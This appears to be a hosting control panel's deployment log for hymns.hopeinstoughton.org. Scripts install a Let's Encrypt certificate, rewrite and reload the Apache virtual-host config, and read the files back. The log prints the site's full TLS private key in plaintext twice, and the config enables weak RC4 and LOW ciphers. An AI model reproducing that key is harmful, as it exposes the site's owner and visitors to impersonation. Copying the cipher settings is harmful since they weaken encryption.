VR0OBBYEFGKE3LCIT8FIUBPC11pQe2Av1CPlMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wJAYDVR0RBB0wG4IZaHltbnMuaG9wZWluc3RvdWdo
dG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5o
dHRwOi8vcjEzLmMubGVuY3Iub3JnLzExOC5jcmwwggENBgorBgEEAdZ5AgQCBIH+
BIH7APkAdwDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa2Q5SzQAAAZ4lErXt
AAAEAwBIMEYCIQCKzLHY4qiYuzmune3guqPAoLbETbvZPC5dNtFXauvTkAIhALU2
cqTSc+DFk+ZwCzGjlCgY3kZZSkMyWg/6+ey+28rPAH4ARq+GPTs+5Z+ld96oJF02
sNntIqIj9GF3QSKUUu6VUF8AAAGeJRK2mgAIAAAFAAaQHL4EAwBHMEUCIDxjc96v
saqSJcI2VIf7TcnEZls1ryaNtJCa/6YnUafZAiEAlJ13PUcS5MCS/s1Ds1Aotl7y
G+XT/LmqWE9JQhlpZeEwDQYJKoZIhvcNAQELBQADggEBAG/DY1Jz5G3I6RoJajbg
FQcA5KSKdSxxIWn1l7l5Q8yDWuuQRNMMPwRw1hnOWmhr7FGFba2deh224iExsU02
r4/8Isr0D6Ip2Ho+JUZ7Y1kp4HkUBhWvcSsov4yFBfQFHinEdBo9pcwDSdzNWTEJ
vTbtJuWCnarUxXtppnAHqjjpuh6Vl0TXRGwwVNa3zJbKK9o7aSu8p5EmctPI2vyn
+DjAZy7KfyEYytju7/nDTsrWMvYNx4xLhy1ESLhr3VWtHyVT7KvJP7ZJSBPNxw0J
pk2cFkW++28xtHQi2CdzdDYapCAzrVm5nbMs0nDcMFIZaPujc1o8wFdTfP9JMBwJ
YEA=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCmIX9bqTvGMqUn
t2L0nDUuQBLyWG/B7cb5/aoEY/NJi0M+MGQbofbCdqQShWWvOF0uS7ZzDc3zBH6g
6LnEpw/+qcx7QJ4ExTG3h/wjwCIxc9/YekdcjErmf5eiCg0UnHa2ehf1cznirU7N
UoNR0WberMtR/NsnmC8C6F/KrdZaeAual1JtVTB0MuZAtCgHyrreSwfOF8X3Hw5n
CIequdBrxstjLD/Jp4u4vq/F8EAPMb1CdGBycAuPJ5N+buxHDtNWpneXml1uKBqV
UdxVrZqWbZzwyecfPOErb8Nb7t65S5MOSlwBvjafUIqZzj0I0Q7z4VttQxvfX7FD
TmAcK4hjAgMBAAECggEATFPenl/6OR0iuUUt/2HXozjIG7VbH3geL9SGbT7408Ta
r7NvAy0eYQk+Z84HQoJ8eV1K5cCla26YuVhDpaD2HdSowMYW8+0f4wlk5I4Nh7gL
0/uWVuSUMyPTKJ1ClkIu3rbo1BpNMaLbrkUnVYuGnm84eSJaFG58xvK5tDa7YdPB
BoHWldO77+oLrUUJU18ACrKFc0kS2x9UiwW3nbwGffDr3aLuDdfaEgYUE3ptW+1+
lvsEkmTB4LBov41zd/uyKsrOnatesuzvb47FulJQKLDVTcnmoq5A/flo7/qFjwaE
mtoWAdZ0f4YRibP66+h2vEcA5jnJFbvc6OmbTuJaMQKBgQDZnkTmWRcWi0OVawR3
uV4h+Kdf75EHedQjz5+I658sA3YnmRoDa+82md0Sg4aJnLATgAq9regHx1UTWw2y
hwMtmNAmx9wh8BLwSnbYu2dLodNMhDXVZffzGKSPp8Zw1bGAKewJSDH8aNoK9itR
5FKE4ZQ9uBjG9qyKDufFQNZicQKBgQDDboJsfXGfBlSotpAV/KyulGorCBEmyDGf
GEO2a5VTDDagEbgvYH8rgAP9yV6j43yfDA5jMLvS4bRH2L9UehF4VAABj2VMVAfS
jThy5cJrySlrj8D15VpoqpOtERXX8V2v5mG9/bv4zGQiOr8x9x64aw5XA3nSqYNl
ZhuSnk7aEwKBgBPpzKo7asZwVe3dThpahweaxk4cEOxbNJNWU2XnEbioVG6JLv0z
Kj+X0sf36x66jM4sAE+dE0dq8RkFUvqMKjlI63sw/K7KViFQ3xE0DN653yj4TCjL
3OWM0romgx0eIND2hRfQWGqdeZ5ZKlujBf4M2lDPgMzsE5vKg2DkbvmxAoGBALQu
hBMQiRwsEwvF3gxXfMIs1cG820tdUdqz3WInyHHcFdT44U7U8gqiKYvoB9ikWXat
/+nVuaXRMIz5OlXhgY/mKmdF1QhNhTTLvRq52MnVmtmvnSFZB0Tu1969nN0OjOkr
SDyJ3q+hikTA0xx3EZzIH118N+pRHXL0dEF2sY5/AoGBAJBqbgKtLU4dUNqJqgp4
OhQuzUz8wFt0QNTCQmIFLQw7HUg+eEqzOpvyE3kliFay4hpr49doe4HSMMOS2quN
steGiKjw/LRx67cPhNdESvfXTTpWs/mKr3uHly7sPncFPNBpIanupFkogHxlvwSy
DoXZ2uVhs/56OmnUbajjG4yQ
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-14 06:00:46: 

chmod 755 /tmp/pkp751622; /tmp/pkp751622; rm /tmp/pkp751622

2026-05-14 06:00:46: 


dir=/etc/ssl/certs


2026-05-14 06:00:46: 

PUT: /tmp/pkp367003

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-14 06:00:47: 

chmod 755 /tmp/pkp367003; /tmp/pkp367003; rm /tmp/pkp367003

2026-05-14 06:00:47: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf 49
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>






2026-05-14 06:00:47: 

PUT: /tmp/pkp125412

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_hymns_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf= 1'
fi


2026-05-14 06:00:48: 

chmod 755 /tmp/pkp125412; /tmp/pkp125412; rm /tmp/pkp125412

2026-05-14 06:00:48: 




2026-05-14 06:00:48: 

PUT: /tmp/pkp553934

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-14 06:00:48: 

chmod 755 /tmp/pkp553934; /tmp/pkp553934; rm /tmp/pkp553934

2026-05-14 06:00:49: 


.


2026-05-14 06:00:49: Establishing a connection
2026-05-14 06:00:50: 

PUT: /tmp/pkp973410

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-14 06:00:50: 

chmod 755 /tmp/pkp973410; /tmp/pkp973410; rm /tmp/pkp973410

2026-05-14 06:00:51: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost pluto.hostz.org (/etc/apache2/sites-enabled/hostz_pluto_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost pluto.hostz.org (/etc/apache2/sites-enabled/hostz_pluto_org.conf:30)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:25)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-05-14 06:00:51: 

PUT: /tmp/pkp966368

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-14 06:00:51: 

chmod 755 /tmp/pkp966368; /tmp/pkp966368; rm /tmp/pkp966368

2026-05-14 06:00:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf	1490
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>







2026-05-14 06:00:51: 

PUT: /tmp/pkp645579

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-14 06:00:52: 

chmod 755 /tmp/pkp645579; /tmp/pkp645579; rm /tmp/pkp645579

2026-05-14 06:00:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4	5377
0a:66:a5:fb:4b:ad:ce:a3:8a:01:f7:9a:ff:a7:72:2e

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBQULGkIdK93ABiy4KwJwJnJ1MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTE0MDUwMjEzWhcNMjYwODEyMDUwMjEyWjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEApiF/W6k7xjKlJ7di9Jw1LkAS8lhvwe3G+f2qBGPzSYtDPjBk
G6H2wnakEoVlrzhdLku2cw3N8wR+oOi5xKcP/qnMe0CeBMUxt4f8I8AiMXPf2HpH
XIxK5n+XogoNFJx2tnoX9XM54q1OzVKDUdFm3qzLUfzbJ5gvAuhfyq3WWngLmpdS
bVUwdDLmQLQoB8q63ksHzhfF9x8OZwiHqrnQa8bLYyw/yaeLuL6vxfBADzG9QnRg
cnALjyeTfm7sRw7TVqZ3l5pdbigalVHcVa2alm2c8MnnHzzhK2/DW+7euUuTDkpc
Ab42n1CKmc49CNEO8+FbbUMb31+xQ05gHCuIYwIDAQABo4ICKTCCAiUwDgYDVR0P
AQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFGKE3LCIT8FIUBPC11pQe2Av1CPlMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wJAYDVR0RBB0wG4IZaHltbnMuaG9wZWluc3RvdWdo
dG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5o
dHRwOi8vcjEzLmMubGVuY3Iub3JnLzExOC5jcmwwggENBgorBgEEAdZ5AgQCBIH+
BIH7APkAdwDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa2Q5SzQAAAZ4lErXt
AAAEAwBIMEYCIQCKzLHY4qiYuzmune3guqPAoLbETbvZPC5dNtFXauvTkAIhALU2
cqTSc+DFk+ZwCzGjlCgY3kZZSkMyWg/6+ey+28rPAH4ARq+GPTs+5Z+ld96oJF02
sNntIqIj9GF3QSKUUu6VUF8AAAGeJRK2mgAIAAAFAAaQHL4EAwBHMEUCIDxjc96v
saqSJcI2VIf7TcnEZls1ryaNtJCa/6YnUafZAiEAlJ13PUcS5MCS/s1Ds1Aotl7y
G+XT/LmqWE9JQhlpZeEwDQYJKoZIhvcNAQELBQADggEBAG/DY1Jz5G3I6RoJajbg
FQcA5KSKdSxxIWn1l7l5Q8yDWuuQRNMMPwRw1hnOWmhr7FGFba2deh224iExsU02
r4/8Isr0D6Ip2Ho+JUZ7Y1kp4HkUBhWvcSsov4yFBfQFHinEdBo9pcwDSdzNWTEJ
vTbtJuWCnarUxXtppnAHqjjpuh6Vl0TXRGwwVNa3zJbKK9o7aSu8p5EmctPI2vyn
+DjAZy7KfyEYytju7/nDTsrWMvYNx4xLhy1ESLhr3VWtHyVT7KvJP7ZJSBPNxw0J
pk2cFkW++28xtHQi2CdzdDYapCAzrVm5nbMs0nDcMFIZaPujc1o8wFdTfP9JMBwJ
YEA=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCmIX9bqTvGMqUn
t2L0nDUuQBLyWG/B7cb5/aoEY/NJi0M+MGQbofbCdqQShWWvOF0uS7ZzDc3zBH6g
6LnEpw/+qcx7QJ4ExTG3h/wjwCIxc9/YekdcjErmf5eiCg0UnHa2ehf1cznirU7N
UoNR0WberMtR/NsnmC8C6F/KrdZaeAual1JtVTB0MuZAtCgHyrreSwfOF8X3Hw5n
CIequdBrxstjLD/Jp4u4vq/F8EAPMb1CdGBycAuPJ5N+buxHDtNWpneXml1uKBqV
UdxVrZqWbZzwyecfPOErb8Nb7t65S5MOSlwBvjafUIqZzj0I0Q7z4VttQxvfX7FD
TmAcK4hjAgMBAAECggEATFPenl/6OR0iuUUt/2HXozjIG7VbH3geL9SGbT7408Ta
r7NvAy0eYQk+Z84HQoJ8eV1K5cCla26YuVhDpaD2HdSowMYW8+0f4wlk5I4Nh7gL
0/uWVuSUMyPTKJ1ClkIu3rbo1BpNMaLbrkUnVYuGnm84eSJaFG58xvK5tDa7YdPB
BoHWldO77+oLrUUJU18ACrKFc0kS2x9UiwW3nbwGffDr3aLuDdfaEgYUE3ptW+1+
lvsEkmTB4LBov41zd/uyKsrOnatesuzvb47FulJQKLDVTcnmoq5A/flo7/qFjwaE
mtoWAdZ0f4YRibP66+h2vEcA5jnJFbvc6OmbTuJaMQKBgQDZnkTmWRcWi0OVawR3
uV4h+Kdf75EHedQjz5+I658sA3YnmRoDa+82md0Sg4aJnLATgAq9regHx1UTWw2y
hwMtmNAmx9wh8BLwSnbYu2dLodNMhDXVZffzGKSPp8Zw1bGAKewJSDH8aNoK9itR
5FKE4ZQ9uBjG9qyKDufFQNZicQKBgQDDboJsfXGfBlSotpAV/KyulGorCBEmyDGf
GEO2a5VTDDagEbgvYH8rgAP9yV6j43yfDA5jMLvS4bRH2L9UehF4VAABj2VMVAfS
jThy5cJrySlrj8D15VpoqpOtERXX8V2v5mG9/bv4zGQiOr8x9x64aw5XA3nSqYNl
ZhuSnk7aEwKBgBPpzKo7asZwVe3dThpahweaxk4cEOxbNJNWU2XnEbioVG6JLv0z
Kj+X0sf36x66jM4sAE+dE0dq8RkFUvqMKjlI63sw/K7KViFQ3xE0DN653yj4TCjL
3OWM0romgx0eIND2hRfQWGqdeZ5ZKlujBf4M2lDPgMzsE5vKg2DkbvmxAoGBALQu
hBMQiRwsEwvF3gxXfMIs1cG820tdUdqz3WInyHHcFdT44U7U8gqiKYvoB9ikWXat
/+nVuaXRMIz5OlXhgY/mKmdF1QhNhTTLvRq52MnVmtmvnSFZB0Tu1969nN0OjOkr
SDyJ3q+hikTA0xx3EZzIH118N+pRHXL0dEF2sY5/AoGBAJBqbgKtLU4dUNqJqgp4
OhQuzUz8wFt0QNTCQmIFLQw7HUg+eEqzOpvyE3kliFay4hpr49doe4HSMMOS2quN
steGiKjw/LRx67cPhNdESvfXTTpWs/mKr3uHly7sPncFPNBpIanupFkogHxlvwSy
DoXZ2uVhs/56OmnUbajjG4yQ
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
